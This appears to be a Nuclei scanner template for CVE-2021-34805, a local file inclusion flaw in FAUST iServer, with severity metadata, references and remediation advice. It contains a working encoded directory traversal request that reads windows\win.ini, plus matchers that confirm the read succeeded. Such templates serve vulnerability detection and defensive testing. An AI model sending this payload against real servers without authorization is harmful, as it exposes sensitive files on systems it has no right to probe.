id: CVE-2021-34805

info:
  name: FAUST iServer 9.0.018.018.4 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: FAUST iServer before 9.0.019.019.7 is susceptible to local file inclusion because for each URL request it accesses the corresponding .fau file on the operating system without preventing %2e%2e%5c directory traversal.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server.
  remediation: |
    Apply the latest security patch or update to a non-vulnerable version of FAUST iServer.
  reference:
    - https://cxsecurity.com/issue/WLB-2022010120
    - http://packetstormsecurity.com/files/165701/FAUST-iServer-9.0.018.018.4-Local-File-Inclusion.html
    - http://www.land-software.de/lfs.fau?prj=iweb&dn=faust+iserver
    - https://nvd.nist.gov/vuln/detail/CVE-2021-34805
    - https://github.com/20142995/Goby
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-34805
    cwe-id: CWE-22
    epss-score: 0.89941
    epss-percentile: 0.99592
    cpe: cpe:2.3:a:land-software:faust_iserver:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: land-software
    product: faust_iserver
  tags: cve2021,cve,lfi,packetstorm,faust,iserver,land-software,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5cwin.ini"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a0046304402201fa4e905b8e6b29ae2f305d794145927177199b857c0f0c293d48b4900c704f0022030b6cf3c13c4813f04e64d1824d15523acfb60c7730d706eb10fe37bea6c8402:922c64590222798bb761d5b6d8e72950